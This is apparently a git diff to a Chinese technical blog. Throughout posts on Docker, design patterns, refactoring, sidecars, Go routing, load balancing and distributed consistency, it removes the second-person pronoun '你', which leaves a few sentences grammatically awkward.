当好友某某电话号码更新的时候，需要通知到你，并修改通讯录服务中的号码。 +- 当好友某某电话号码更新的时候，需要通知到，并修改通讯录服务中的号码。 1、把 "好友某某" 的电话号码写入通讯录中，统一在通讯录中维护，后续号码变更也是更新到通讯录中，这个过程就是服务注册的过程。 diff --git a/_posts/2022-08-19-test-markdown.md b/_posts/2022-08-19-test-markdown.md index b15ec28d7523..d7fc5e58bc1f 100644 --- a/_posts/2022-08-19-test-markdown.md +++ b/_posts/2022-08-19-test-markdown.md @@ -203,7 +203,7 @@ hello-world latest feb5d9fea6a5 10 months ago 13.3kB 另外一个需要注意的问题是，`docker image ls` 列表中的镜像体积总和并非是所有镜像实际硬盘消耗。由于 Docker 镜像是多层存储结构，并且可以继承、复用，因此不同镜像可能会因为使用相同的基础镜像，从而拥有共同的层。由于 Docker 使用 Union FS，相同的层只需要保存一份即可，因此实际镜像硬盘占用空间很可能要比这个列表镜像大小的总和要小的多。 -你可以通过 `docker system df` 命令来便捷的查看镜像、容器、数据卷所占用的空间 +可以通过 `docker system df` 命令来便捷的查看镜像、容器、数据卷所占用的空间 ``` $ docker system df @@ -301,7 +301,7 @@ Untagged: node@sha256:b4f0e0bdeb578043c1ea6862f0d40cc4afe32a4a582f3be235a3b16442 #### 9.Untagged 和 Deleted -如果观察上面这几个命令的运行输出信息的话，你会注意到删除行为分为两类，一类是 `Untagged`，另一类是 `Deleted`。我们之前介绍过，镜像的唯一标识是其 ID 和摘要，而一个镜像可以有多个标签。 +如果观察上面这几个命令的运行输出信息的话，会注意到删除行为分为两类，一类是 `Untagged`，另一类是 `Deleted`。我们之前介绍过，镜像的唯一标识是其 ID 和摘要，而一个镜像可以有多个标签。 因此当我们使用上面命令删除镜像的时候，实际上是在要求删除某个标签的镜像。所以首先需要做的是将满足我们要求的所有镜像标签都取消，这就是我们看到的 `Untagged` 的信息。因为一个镜像可以对应多个标签，因此当我们删除了所指定的标签后，可能还有别的标签指向了这个镜像，如果是这种情况，那么 `Delete` 行为就不会发生。所以并非所有的 `docker image rm` 都会产生删除镜像的行为，有可能仅仅是取消了某个标签而已。 diff --git a/_posts/2022-08-27-test-markdown.md b/_posts/2022-08-27-test-markdown.md index afd6029d9eea..60475655bb4e 100644 --- a/_posts/2022-08-27-test-markdown.md +++ b/_posts/2022-08-27-test-markdown.md @@ -10,27 +10,27 @@ tags: [Microservices gateway ] **工厂方法模式**是一种创建型设计模式， 其在父类中提供一个创建对象的方法， 允许子类决定实例化对象的类型。 -假设你正在开发一款物流管理应用。 最初版本只能处理卡车运输， 因此大部分代码都在位于名为 `卡车`的类中。 +假设正在开发一款物流管理应用。 最初版本只能处理卡车运输， 因此大部分代码都在位于名为 `卡车`的类中。 -一段时间后， 这款应用变得极受欢迎。 你每天都能收到十几次来自海运公司的请求， 希望应用能够支持海上物流功能。 +一段时间后， 这款应用变得极受欢迎。 每天都能收到十几次来自海运公司的请求， 希望应用能够支持海上物流功能。 ![在程序中新增一个运输类会遇到问题](https://refactoringguru.cn/images/patterns/diagrams/factory-method/problem1-zh.png) 如果代码其余部分与现有类已经存在耦合关系， 那么向程序中添加新类其实并没有那么容易。 -> 现有的代码是基于现有的类。如果你想要利用原有的代码，并且增加新的类，不是那么的容易。 +> 现有的代码是基于现有的类。如果想要利用原有的代码，并且增加新的类，不是那么的容易。 > -> 大部分代码都与 `卡车`类相关。 在程序中添加 `轮船`类需要修改全部代码。 更糟糕的是， 如果你以后需要在程序中支持另外一种运输方式， 很可能需要再次对这些代码进行大幅修改 +> 大部分代码都与 `卡车`类相关。 在程序中添加 `轮船`类需要修改全部代码。 更糟糕的是， 如果以后需要在程序中支持另外一种运输方式， 很可能需要再次对这些代码进行大幅修改 ## 解决方案 工厂方法模式建议使用特殊的*工厂*方法代替对于对象构造函数的直接调用 （即使用 `new`运算符）。 不用担心， 对象仍将通过 `new`运算符创建， 只是该运算符改在工厂方法中调用罢了。 工厂方法返回的对象通常被称作 “产品”。 -**也就是说，在我们的代码中创建一个新的类，并不是你动手写代码，直接创建出这个类，因为你不知道，在将来会不会你需要创建出和这个类平等功能的类。** +**也就是说，在我们的代码中创建一个新的类，并不是动手写代码，直接创建出这个类，因为不知道，在将来会不会需要创建出和这个类平等功能的类。** ![创建者类结构](https://refactoringguru.cn/images/patterns/diagrams/factory-method/solution1.png) -乍看之下， 这种更改可能毫无意义： 我们只是改变了程序中调用构造函数的位置而已。 但是， 仔细想一下， 现在你可以在子类中重写工厂方法， 从而改变其创建产品的类型。 +乍看之下， 这种更改可能毫无意义： 我们只是改变了程序中调用构造函数的位置而已。 但是， 仔细想一下， 现在可以在子类中重写工厂方法， 从而改变其创建产品的类型。 但有一点需要注意:仅当这些产品具有共同的基类或者接口时， 子类才能返回不同类型的产品， 同时基类中的工厂方法还应将其返回类型声明为这一共有接口。 @@ -66,7 +66,7 @@ tags: [Microservices gateway ] 举例来说， `卡车`Truck和 `轮船`Ship类都必须实现 `运输`Trans­port`接口， 该接口声明了一个名为 `deliv­er`交付的方法。 每个类都将以不同的方式实现该方法： 卡车走陆路交付货物， 轮船走海路交付货物。 `陆路运输`Road­Logis­tics类中的工厂方法返回卡车对象， 而 `海路运输``Sea­Logis­tics`类则返回轮船对象。举例来说， `卡车`Truck和 `轮船`Ship类都必须实现 `运输``Trans­port`接口， 该接口声明了一个名为 `deliv­er`交付的方法。 每个类都将以不同的方式实现该方法： 卡车走陆路交付货物， 轮船走海路交付货物。 `陆路运输``Road­Logis­tics`类中的工厂方法返回卡车对象， 而 `海路运输`Sea­Logis­tics类则返回轮船对象。 -只要产品类实现一个共同的接口， 你就可以将其对象传递给客户代码， 而无需提供额外数据。 +只要产品类实现一个共同的接口， 就可以将其对象传递给客户代码， 而无需提供额外数据。 调用工厂方法的代码 （通常被称为*客户端*代码） 无需了解不同子类返回实际对象之间的差别。 客户端将所有产品视为抽象的 `运输` 。 客户端知道所有运输对象都提供 `交付`方法， 但是并不关心其具体实现方式。 @@ -76,7 +76,7 @@ tags: [Microservices gateway ] - **创建者** （`Cre­ator`） 类声明返回产品对象的工厂方法。 该方法的返回对象类型必须与产品接口相匹配。 -- 你可以将工厂方法声明为抽象方法， 强制要求每个子类以不同方式实现该方法。 或者， 你也可以在基础工厂方法中返回默认产品类型。 +- 可以将工厂方法声明为抽象方法， 强制要求每个子类以不同方式实现该方法。 或者， 也可以在基础工厂方法中返回默认产品类型。 注意， 尽管它的名字是创建者， 但它最主要的职责并**不是**创建产品。 一般来说， 创建者类包含一些与产品相关的核心业务逻辑。 工厂方法将这些逻辑处理从具体产品类中分离出来。 打个比方， 大型软件开发公司拥有程序员培训部门。 但是， 这些公司的主要工作还是编写代码， 而非生产程序员。 @@ -122,29 +122,29 @@ func (b *SeaLogistics) CreateTransport() Transport { ## 工厂方法模式适合应用场景 - 当你在编写代码的过程中， 如果**无法预知对象确切类别**及其依赖关系时， 可使用工厂方法。 + 当在编写代码的过程中， 如果**无法预知对象确切类别**及其依赖关系时， 可使用工厂方法。 工厂方法将创建产品的代码与实际使用产品的代码分离， 从而能在**不影响其他代码的情况下扩展产品创建部分代码**。 -例如， 如果需要向应用中添加一种新产品， 你只需要开发新的创建者子类， 然后重写其工厂方法即可。 +例如， 如果需要向应用中添加一种新产品， 只需要开发新的创建者子类， 然后重写其工厂方法即可。 - 如果你希望用户能扩展你软件库或框架的内部组件， 可使用工厂方法。 + 如果希望用户能扩展软件库或框架的内部组件， 可使用工厂方法。 - 继承可能是扩展软件库或框架默认行为的最简单方法。 但是当你使用子类替代标准组件时， 框架如何辨识出该子类？ + 继承可能是扩展软件库或框架默认行为的最简单方法。 但是当使用子类替代标准组件时， 框架如何辨识出该子类？ 解决方案是将各框架中构造组件的代码集中到单个工厂方法中， 并在继承该组件之外允许任何人对该方法进行重写。 -让我们看看具体是如何实现的。 假设你使用开源 UI 框架编写自己的应用。 你希望在应用中使用圆形按钮， 但是原框架仅支持矩形按钮。 你可以使用 `圆形按钮`Round­But­ton子类来继承标准的 `按钮`But­ton类。 但是， 你需要告诉 `UI框架`UIFrame­work类使用新的子类按钮代替默认按钮。 +让我们看看具体是如何实现的。 假设使用开源 UI 框架编写自己的应用。 希望在应用中使用圆形按钮， 但是原框架仅支持矩形按钮。 可以使用 `圆形按钮`Round­But­ton子类来继承标准的 `按钮`But­ton类。 但是， 需要告诉 `UI框架`UIFrame­work类使用新的子类按钮代替默认按钮。 -为了实现这个功能， 你可以根据基础框架类开发子类 `圆形按钮 UI`UIWith­Round­But­tons ， 并且重写其 `cre­ate­But­ton`创建按钮方法。 基类中的该方法返回 `按钮`对象， 而你开发的子类返回 `圆形按钮`对象。 现在， 你就可以使用 `圆形按钮 UI`类代替 `UI框架`类。 就是这么简单！ +为了实现这个功能， 可以根据基础框架类开发子类 `圆形按钮 UI`UIWith­Round­But­tons ， 并且重写其 `cre­ate­But­ton`创建按钮方法。 基类中的该方法返回 `按钮`对象， 而开发的子类返回 `圆形按钮`对象。 现在， 就可以使用 `圆形按钮 UI`类代替 `UI框架`类。 就是这么简单！ - 如果你希望复用现有对象来节省系统资源， 而不是每次都重新创建对象， 可使用工厂方法。 + 如果希望复用现有对象来节省系统资源， 而不是每次都重新创建对象， 可使用工厂方法。 - 在处理大型资源密集型对象 （比如数据库连接、 文件系统和网络资源） 时， 你会经常碰到这种资源需求。 + 在处理大型资源密集型对象 （比如数据库连接、 文件系统和网络资源） 时， 会经常碰到这种资源需求。 让我们思考复用现有对象的方法： -1. 首先， 你需要创建存储空间来存放所有已经创建的对象。 +1. 首先， 需要创建存储空间来存放所有已经创建的对象。 2. 当他人请求一个对象时， 程序将在对象池中搜索可用对象。 3. … 然后将其返回给客户端代码。 4. 如果没有可用对象， 程序则创建一个新对象 （并将其添加到对象池中）。 @@ -153,7 +153,7 @@ func (b *SeaLogistics) CreateTransport() Transport { 可能最显而易见， 也是最方便的方式， 就是将这些代码放置在我们试图重用的对象类的构造函数中。 但是从定义上来讲， 构造函数始终返回的是**新对象**， 其无法返回现有实例。 -因此， 你需要有一个既能够**创建新对象**， 又可以**重用现有对象的普通方法**。 这听上去和工厂方法非常相像。 +因此， 需要有一个既能够**创建新对象**， 又可以**重用现有对象的普通方法**。 这听上去和工厂方法非常相像。 1. 让所有产品都遵循**同一接口**。 该接口必须声明对所有产品都有意义的方法。 @@ -161,14 +161,14 @@ func (b *SeaLogistics) CreateTransport() Transport { 3. 在创建者代码中找到对于产品构造函数的所有引用。 将它们依次替换为对于工厂方法的调用， 同时将创建产品的代码移入工厂方法。 - 你可能需要在工厂方法中添加临时参数来控制返回的产品类型。 + 可能需要在工厂方法中添加临时参数来控制返回的产品类型。 工厂方法的代码看上去可能非常糟糕。 其中可能会有复杂的 `switch`分支运算符， 用于选择各种需要实例化的产品类。 但是不要担心， 我们很快就会修复这个问题。 4. 现在， 为工厂方法中的每种产品编写一个创建者子类， 然后在子类中重写工厂方法， 并将基本方法中的相关创建代码移动到工厂方法中。 -5. 如果应用中的产品类型太多， 那么为每个产品创建子类并无太大必要， 这时你也可以在子类中复用基类中的控制参数。 +5. 如果应用中的产品类型太多， 那么为每个产品创建子类并无太大必要， 这时也可以在子类中复用基类中的控制参数。 - 例如， 设想你有以下一些层次结构的类。 基类 `邮件`及其子类 `航空邮件`和 `陆路邮件` ； `运输`及其子类 `飞机`, `卡车`和 `火车` 。 `航空邮件`仅使用 `飞机`对象， 而 `陆路邮件`则会同时使用 `卡车`和 `火车`对象。 你可以编写一个新的子类 （例如 `火车邮件` ） 来处理这两种情况， 但是还有其他可选的方案。 客户端代码可以给 `陆路邮件`类传递一个参数， 用于控制其希望获得的产品。 + 例如， 设想有以下一些层次结构的类。 基类 `邮件`及其子类 `航空邮件`和 `陆路邮件` ； `运输`及其子类 `飞机`, `卡车`和 `火车` 。 `航空邮件`仅使用 `飞机`对象， 而 `陆路邮件`则会同时使用 `卡车`和 `火车`对象。 可以编写一个新的子类 （例如 `火车邮件` ） 来处理这两种情况， 但是还有其他可选的方案。 客户端代码可以给 `陆路邮件`类传递一个参数， 用于控制其希望获得的产品。 -6. 如果代码经过上述移动后， 基础工厂方法中已经没有任何代码， 你可以将其转变为抽象类。 如果基础工厂方法中还有其他语句， 你可以将其设置为该方法的默认行为。 \ No newline at end of file +6. 如果代码经过上述移动后， 基础工厂方法中已经没有任何代码， 可以将其转变为抽象类。 如果基础工厂方法中还有其他语句， 可以将其设置为该方法的默认行为。 \ No newline at end of file diff --git a/_posts/2022-09-01-test-markdown.md b/_posts/2022-09-01-test-markdown.md index 85fda873be59..47de4eb39c47 100644 --- a/_posts/2022-09-01-test-markdown.md +++ b/_posts/2022-09-01-test-markdown.md @@ -11,7 +11,7 @@ tags: [设计模式 ] ### 1.提取方法 -> 问题：你有一个可以分组的代码片段吗？ +> 问题：有一个可以分组的代码片段吗？ 解决方案：将此代码移至单独的新方法（或函数），并用对该方法的调用替换旧代码。 @@ -23,7 +23,7 @@ tags: [设计模式 ] ### 3.提取变量 -> 问题：你有一个难以理解的表达方式。 +> 问题：有一个难以理解的表达方式。 解决方案：将表达式的结果或其部分放在不言自明的单独变量中 diff --git a/_posts/2022-09-05-test-markdown.md b/_posts/2022-09-05-test-markdown.md index d85b6027034a..86186d04b77e 100644 --- a/_posts/2022-09-05-test-markdown.md +++ b/_posts/2022-09-05-test-markdown.md @@ -376,14 +376,14 @@ String foundPerson(String[] people){ - 将单向关联更改为双向 > 问题： - > 你有两个类，每个类都需要使用彼此的关系，但它们之间的关联只是单向的。 + > 有两个类，每个类都需要使用彼此的关系，但它们之间的关联只是单向的。 > > 解决方案： > 将缺少的关联添加到需要它的类中。 - 将双向关联更改为单向 - > 你有一个类之间的双向关联，es，但是其中一个类不使用另一个类的功能。 + > 有一个类之间的双向关联，es，但是其中一个类不使用另一个类的功能。 - 用符号常数替换幻数 @@ -395,7 +395,7 @@ String foundPerson(String[] people){ - 封装字段 > 问题： - > 你有一个公共领域。 + > 有一个公共领域。 > 解决方案： > 将字段设为私有并为其创建访问方法 @@ -795,9 +795,9 @@ func (p *Person)GetCode(){ > 代替变量，使用break, continue 和return。 > 问题： -> 你有一组嵌套条件，这很难,,来确定代码执行的正常流程。 +> 有一组嵌套条件，这很难,,来确定代码执行的正常流程。 > 解决方案： -> 将所有特殊检查和边缘情况隔离到单独的子句中，并将它们放在主要检查之前。理想的盟友，你应该有一个“平坦”的条件列表，一个接一个,另一个。 +> 将所有特殊检查和边缘情况隔离到单独的子句中，并将它们放在主要检查之前。理想的盟友，应该有一个“平坦”的条件列表，一个接一个,另一个。 > 问题： > 您有一个执行各种操作的条件,取决于对象类型或属性。 diff --git a/_posts/2022-10-04-test-markdown.md b/_posts/2022-10-04-test-markdown.md index 586c26c05f75..44b0284f091f 100644 --- a/_posts/2022-10-04-test-markdown.md +++ b/_posts/2022-10-04-test-markdown.md @@ -793,7 +793,7 @@ func main() { 边车模式设计 -具体来说，你可以理解为，边车就有点像一个服务的 Agent，这个服务所有对外的进出通讯都通过这个 Agent 来完成。这样，我们就可以在这个 Agent 上做很多文章了。但是，我们需要保证的是，这个 Agent 要和应用程序一起创建，一起停用。 +具体来说，可以理解为，边车就有点像一个服务的 Agent，这个服务所有对外的进出通讯都通过这个 Agent 来完成。这样，我们就可以在这个 Agent 上做很多文章了。但是，我们需要保证的是，这个 Agent 要和应用程序一起创建，一起停用。 边车模式有时候也叫搭档模式，或是伴侣模式，或是跟班模式。就像我们在《编程范式游记》中看到的那样，编程的本质就是将控制和逻辑分离和解耦，而边车模式也是异曲同工，同样是让我们在分布式架构中做到逻辑和控制分离。 @@ -825,7 +825,7 @@ Sidecar 服务在逻辑上和应用服务部署在一个结点中，其和应用 如果把 Sidecar 这个实例和应用服务部署在同一台机器中，那么，其实 Sidecar 的进程在理论上来说是可以访问应用服务的进程能访问的资源的。比如，Sidecar 是可以监控到应用服务的进程信息的。另外，因为两个进程部署在同一台机器上，所以两者之间的通信不存在明显的延迟。也就是说，服务的响应延迟虽然会因为跨进程调用而增加，但这个增加完全是可以接受的。 -另外，我们可以看到这样的部署方式，最好是与 Docker 容器的方式一起使用的。为什么 Docker 一定会是分布式系统或是云计算的关键技术，相信你从我的这一系列文章中已经看到其简化架构的部署和管理的重要作用。否则，这么多的分布式架构模式实施起来会有很多麻烦。 +另外，我们可以看到这样的部署方式，最好是与 Docker 容器的方式一起使用的。为什么 Docker 一定会是分布式系统或是云计算的关键技术，相信从我的这一系列文章中已经看到其简化架构的部署和管理的重要作用。否则，这么多的分布式架构模式实施起来会有很多麻烦。 ### 边车设计的重点 @@ -842,7 +842,7 @@ Sidecar 服务在逻辑上和应用服务部署在一个结点中，其和应用 - 进程间通讯机制是这个设计模式的重点，千万不要使用任何对应用服务有侵入的方式，比如，通过信号的方式，或是通过共享内存的方式。最好的方式就是网络远程调用的方式（因为都在 127.0.0.1 上通讯，所以开销并不明显）。 - 服务协议方面，也请使用标准统一的方式。这里有两层协议，一个是 Sidecar 到 service 的内部协议，另一个是 Sidecar 到远端 Sidecar 或 service 的外部协议。对于内部协议，需要尽量靠近和兼容本地 service 的协议；对于外部协议，需要尽量使用更为开放更为标准的协议。但无论是哪种，都不应该使用与语言相关的协议。 -- 使用这样的模式，需要在服务的整体打包、构建、部署、管控、运维上设计好。使用 Docker 容器方面的技术可以帮助你全面降低复杂度 +- 使用这样的模式，需要在服务的整体打包、构建、部署、管控、运维上设计好。使用 Docker 容器方面的技术可以帮助全面降低复杂度 - Sidecar 中所实现的功能应该是控制面上的东西，而不是业务逻辑上的东西，所以请尽量不要把业务逻辑设计到 Sidecar 中。 - 小心在 Sidecar 中包含通用功能可能带来的影响。例如，重试操作，这可能不安全，除非所有操作都是幂等的。 - 另外，我们还要考虑允许应用服务和 Sidecar 的上下文传递的机制。 例如，包含 HTTP 请求标头以选择退出重试，或指定最大重试次数等等这样的信息交互。或是 Sidecar 告诉应用服务限流发生，或是远程服务不可用等信息，这样可以让应用服务和 Sidecar 配合得更好。 diff --git a/_posts/2022-10-09-test-markdown.md b/_posts/2022-10-09-test-markdown.md index 0cbaca4a3090..04d4be8715cb 100644 --- a/_posts/2022-10-09-test-markdown.md +++ b/_posts/2022-10-09-test-markdown.md @@ -9,7 +9,7 @@ tags: [设计模式] ## 1.Web开发 -> 因为 Go 的 `net/http` 包提供了基础的路由函数组合与丰富的功能函数。所以在社区里流行一种用 Go 编写 API 不需要框架的观点，在我们看来，如果你的项目的路由在个位数、URI 固定且不通过 URI 来传递参数，那么确实使用官方库也就足够。但在复杂场景下，官方的 http 库还是有些力有不逮。例如下面这样的路由： +> 因为 Go 的 `net/http` 包提供了基础的路由函数组合与丰富的功能函数。所以在社区里流行一种用 Go 编写 API 不需要框架的观点，在我们看来，如果的项目的路由在个位数、URI 固定且不通过 URI 来传递参数，那么确实使用官方库也就足够。但在复杂场景下，官方的 http 库还是有些力有不逮。例如下面这样的路由： > ```go > > GET /card/:id @@ -253,7 +253,7 @@ return makeErrorResponse(http.StatusNotFound, "unknown API call", w, r) > 因为默认的 `net/http` 包中的 `mux` 不支持带参数的路由，所以 Burrow 这个项目使用了非常蹩脚的字符串 `Split` 和乱七八糟的 `switch case` 来达到自己的目的，但却让本来应该很集中的路由管理逻辑变得复杂，散落在系统的各处，难以维护和管理。如果读者细心地看过这些代码之后，可能会发现其它的几个 `handler` 函数逻辑上较简单，最复杂的也就是这个 `handleKafka()`。而我们的系统总是从这样微不足道的混乱开始积少成多，最终变得难以收拾。 -> 根据我们的经验，简单地来说，只要你的路由带有参数，并且这个项目的 API 数目超过了 10，就尽量不要使用 `net/http` 中默认的路由。在 Go 开源界应用最广泛的 router 是 httpRouter，很多开源的 router 框架都是基于 httpRouter 进行一定程度的改造的成果。关于 httpRouter 路由的原理，会在本章节的 router 一节中进行详细的阐释。 +> 根据我们的经验，简单地来说，只要的路由带有参数，并且这个项目的 API 数目超过了 10，就尽量不要使用 `net/http` 中默认的路由。在 Go 开源界应用最广泛的 router 是 httpRouter，很多开源的 router 框架都是基于 httpRouter 进行一定程度的改造的成果。关于 httpRouter 路由的原理，会在本章节的 router 一节中进行详细的阐释。 > 开源界有这么几种框架，第一种是对 httpRouter 进行简单的封装，然后提供定制的中间件和一些简单的小工具集成比如 gin，主打轻量，易学，高性能。第二种是借鉴其它语言的编程风格的一些 MVC 类框架，例如 beego， @@ -543,7 +543,7 @@ func NewTreeNode(content string) *TreeNode { Content: content, // 限制一次最多可以有几个子节点 // 这里我们限制为三叉树 - // 只有你在明确知道树木是几叉树的情况下，我给你一组数据 + // 只有在明确知道树木是几叉树的情况下，我给一组数据 //（给定的数据是按照约定的顺序规则以切片的形式给出给出『有点像加密与解密』，然后为在拿到这组切片，按照约定的方式，把他们按照想要的格式存储与关联起来『把一个节点作为另外一个儿子节点的过程就是关联』） SonNodes: []*TreeNode{ nil, @@ -743,7 +743,7 @@ func NewTreeNode(content string) *TreeNode { Content: content, // 限制一次最多可以有几个子节点 // 这里我们限制为三叉树 - // 只有你在明确知道树木是几叉树的情况下，我给你一组数据 + // 只有在明确知道树木是几叉树的情况下，我给一组数据 //（给定的数据是按照约定的顺序规则以切片的形式给出给出『有点像加密与解密』，然后为在拿到这组切片，按照约定的方式，把他们按照想要的格式存储与关联起来『把一个节点作为另外一个儿子节点的过程就是关联』） SonNodes: []*TreeNode{}, } diff --git a/_posts/2022-10-10-test-markdown.md b/_posts/2022-10-10-test-markdown.md index 7259ad6d84f4..bb0eeb783c9c 100644 --- a/_posts/2022-10-10-test-markdown.md +++ b/_posts/2022-10-10-test-markdown.md @@ -22,10 +22,10 @@ tags: [哈佛课程] ## 2.Lesson--深入理解 -> 思考不要停留在已有的东西（包括你理所当然的认为是对的事情） +> 思考不要停留在已有的东西（包括理所当然的认为是对的事情） 1. 检验是否真正理解某个事情的方法 -2. 5 岁小孩都明白你所说的 +2. 5 岁小孩都明白所说的 3. 深入的理解“专业用语”表达的内核 4. 翻译成英语讲出来 5. 使用理解程度检查表 @@ -76,7 +76,7 @@ tags: [哈佛课程] 1. 世界上没有绝对正确的意见 2. 重要的地方用不同的表达方式再三重复 -3. 问根据（你这么说根据是什么？） +3. 问根据（这么说根据是什么？） 4. 要反对就要提出“替代方案” ## 6.Lesson--发现“问题”是“思考”的开始 diff --git a/_posts/2022-10-13-test-markdown.md b/_posts/2022-10-13-test-markdown.md index f9e4b4859ef4..7b38a550f2e0 100644 --- a/_posts/2022-10-13-test-markdown.md +++ b/_posts/2022-10-13-test-markdown.md @@ -171,7 +171,7 @@ func (s FactorString) Factor() string { return string(s) } -// 负载均衡器 Balancer 持有一组 Peers 然后实现Next函数，得到一个后端节点和Constrainable（目前先当作没有看到它叭～） 当你身为调度者时，想要调用 Next，却没有什么合适的“因素”提供的话，就提供 DummyFactor 好了。 +// 负载均衡器 Balancer 持有一组 Peers 然后实现Next函数，得到一个后端节点和Constrainable（目前先当作没有看到它叭～） 当身为调度者时，想要调用 Next，却没有什么合适的“因素”提供的话，就提供 DummyFactor 好了。 type BalancerLite interface { Next(factor Factor) (next Peer, c Constrainable) } @@ -1091,7 +1091,7 @@ func adder(key Balancer.Peer, c Balancer.Constrainable, sum map[Balancer.Peer]in ``` -> 在早些年，没有区分微服务和单体应用的那些年，Hash 算法的负载均衡常常被当作神器，因为 session 保持经常是一个服务无法横向增长的关键因素，(这里就涉及到 Session 同步使得服务器可以横向扩展)而针对用户的 session-id 的 hash 值进行调度分配时，就能保证同样 session-id 的来源用户的 session 总是落到某一确定的后端服务器，从而确保了其 session 总是有效的。在 Hash 算法被扩展之后，很明显，可以用 客户端 IP 值，主机名，url 或者无论什么你想得到的东西去做 hash 计算，只要得到了 hashCode，就可以应用 Hash 算法了。而像诸如客户端 IP，客户端主机名之类的标识由于其相同的 hashCode 的原因，所以对应的后端 peer 也能保持一致，这就是 session 年代 hash 算法显得重要的原因。 +> 在早些年，没有区分微服务和单体应用的那些年，Hash 算法的负载均衡常常被当作神器，因为 session 保持经常是一个服务无法横向增长的关键因素，(这里就涉及到 Session 同步使得服务器可以横向扩展)而针对用户的 session-id 的 hash 值进行调度分配时，就能保证同样 session-id 的来源用户的 session 总是落到某一确定的后端服务器，从而确保了其 session 总是有效的。在 Hash 算法被扩展之后，很明显，可以用 客户端 IP 值，主机名，url 或者无论什么想得到的东西去做 hash 计算，只要得到了 hashCode，就可以应用 Hash 算法了。而像诸如客户端 IP，客户端主机名之类的标识由于其相同的 hashCode 的原因，所以对应的后端 peer 也能保持一致，这就是 session 年代 hash 算法显得重要的原因。 > session 同步 @@ -1107,7 +1107,7 @@ web 集群时 session 同步的 3 种方法 2.利用 cookie 同步 session -**把 session 存在 cookie 里面里面** : session 是文件的形势存放在服务器端的，cookie 是文件的形势存在客户端的，怎么实现同步呢？方法很简单，就是把用户访问页面产生的 session 放到 cookie 里面，就是以 cookie 为中转站。你访问 web 服务器 A，产生了 session 把它放到 cookie 里面了，你访问被分配到 web 服务器 B，这个时候，web 服务器 B 先判断服务器有没有这个 session，如果没有，在去看看客户端的 cookie 里面有没有这个 session，如果也没有，说明 session 真的不存，如果 cookie 里面有，就把 cookie 里面的 sessoin 同步到 web 服务器 B，这样就可以实现 session 的同步了。 +**把 session 存在 cookie 里面里面** : session 是文件的形势存放在服务器端的，cookie 是文件的形势存在客户端的，怎么实现同步呢？方法很简单，就是把用户访问页面产生的 session 放到 cookie 里面，就是以 cookie 为中转站。访问 web 服务器 A，产生了 session 把它放到 cookie 里面了，访问被分配到 web 服务器 B，这个时候，web 服务器 B 先判断服务器有没有这个 session，如果没有，在去看看客户端的 cookie 里面有没有这个 session，如果也没有，说明 session 真的不存，如果 cookie 里面有，就把 cookie 里面的 sessoin 同步到 web 服务器 B，这样就可以实现 session 的同步了。 说明：这种方法实现起来简单，方便，也不会加大数据库的负担，但是如果客户端把 cookie 禁掉了的话，那么 session 就无从同步了，这样会给网站带来损失；cookie 的安全性不高，虽然它已经加了密，但是还是可以伪造的。 diff --git a/_posts/2022-10-15-test-markdown.md b/_posts/2022-10-15-test-markdown.md index d8150373a2ff..bbecb630d2ab 100644 --- a/_posts/2022-10-15-test-markdown.md +++ b/_posts/2022-10-15-test-markdown.md @@ -11,7 +11,7 @@ tags: [分布式] 设计一个分布式系统必定会遇到一个问题—— 因为分区容忍性（partition tolerance）的存在，就必定要求我们需要在系统可用性（availability）和数据一致性（consistency）中做出权衡 。这就是著名的 CAP 定理。 -简单来说：“当在消息的传播（散布）过程中，某个同学 A 已经知道了这个消息，但是你抓到一个同学 B，问他们的情况，但这个同学回答不知道，那么说明整个班级系统出现了数据不一致的问题（因为 A 已经知道这个消息了）。而如果 B 他直接不回答你（B 的内心：不可以告诉你奥，因为我还不确定着这个消息是否被班级中的所有人知道，一个不被所有人知道的消息，我就不可以告诉你），因为整个班级有消息在进行传播（为了保证一致性，需要所有人都知道才可提供服务），这个时候就出现了系统的可用性问题。 +简单来说：“当在消息的传播（散布）过程中，某个同学 A 已经知道了这个消息，但是抓到一个同学 B，问他们的情况，但这个同学回答不知道，那么说明整个班级系统出现了数据不一致的问题（因为 A 已经知道这个消息了）。而如果 B 他直接不回答（B 的内心：不可以告诉奥，因为我还不确定着这个消息是否被班级中的所有人知道，一个不被所有人知道的消息，我就不可以告诉），因为整个班级有消息在进行传播（为了保证一致性，需要所有人都知道才可提供服务），这个时候就出现了系统的可用性问题。 "系统的可用性问题"：这里的可用性问题是指，当数据没有被同步到所有的机器上的时候，对于外界的请求，系统是不做出响应的。"这个就是 Eureka 的处理方式，它保证了 AP（可用性） 为了解决数据一致性问题，下面要讲的具体是 ZooKeeper 的处理方式，它保证了 CP（数据一致性)出现了很多的一致性协议和算法。 2PC（两阶段提交），3PC（三阶段提交），Paxos 算法等等。 @@ -31,7 +31,7 @@ tags: [分布式] 两阶段提交是一种保证分布式系统数据一致性的协议，现在很多数据库都是采用的两阶段提交协议来完成 分布式事务 的处理。 在两阶段提交中，主要涉及到两个角色，分别是协调者和参与者。 -第一阶段：当要执行一个分布式事务的时候，事务发起者首先向协调者发起事务请求，然后协调者会给所有参与者发送 prepare 请求（其中包括事务内容）告诉参与者你们需要执行事务了，如果能执行我发的事务内容那么就先执行但不提交，执行后请给我回复。然后参与者收到 prepare 消息后，他们会开始执行事务（但不提交），并将 Undo 和 Redo 信息记入事务日志中，之后参与者就向协调者反馈是否准备好了。第二阶段：第二阶段主要是协调者根据参与者反馈的情况来决定接下来是否可以进行事务的提交操作，即提交事务或者回滚事务。 +第一阶段：当要执行一个分布式事务的时候，事务发起者首先向协调者发起事务请求，然后协调者会给所有参与者发送 prepare 请求（其中包括事务内容）告诉参与者们需要执行事务了，如果能执行我发的事务内容那么就先执行但不提交，执行后请给我回复。然后参与者收到 prepare 消息后，他们会开始执行事务（但不提交），并将 Undo 和 Redo 信息记入事务日志中，之后参与者就向协调者反馈是否准备好了。第二阶段：第二阶段主要是协调者根据参与者反馈的情况来决定接下来是否可以进行事务的提交操作，即提交事务或者回滚事务。 比如这个时候 所有的参与者 都返回了准备好了的消息，这个时候就进行事务的提交，协调者此时会给所有的参与者发送 Commit 请求 ，当参与者收到 Commit 请求的时候会执行前面执行的事务的 提交操作 ，提交完毕之后将给协调者发送提交成功的响应。 而如果在第一阶段并不是所有参与者都返回了准备好了的消息，那么此时协调者将会给所有参与者发送 回滚事务的 rollback 请求，参与者收到之后将会 回滚它在第一阶段所做的事务处理 ，然后再将处理情况返回给协调者，最终协调者收到响应后便给事务发起者返回处理失败的结果。 @@ -57,7 +57,7 @@ tags: [分布式] ### 补充：为什么需要保持数据一致? 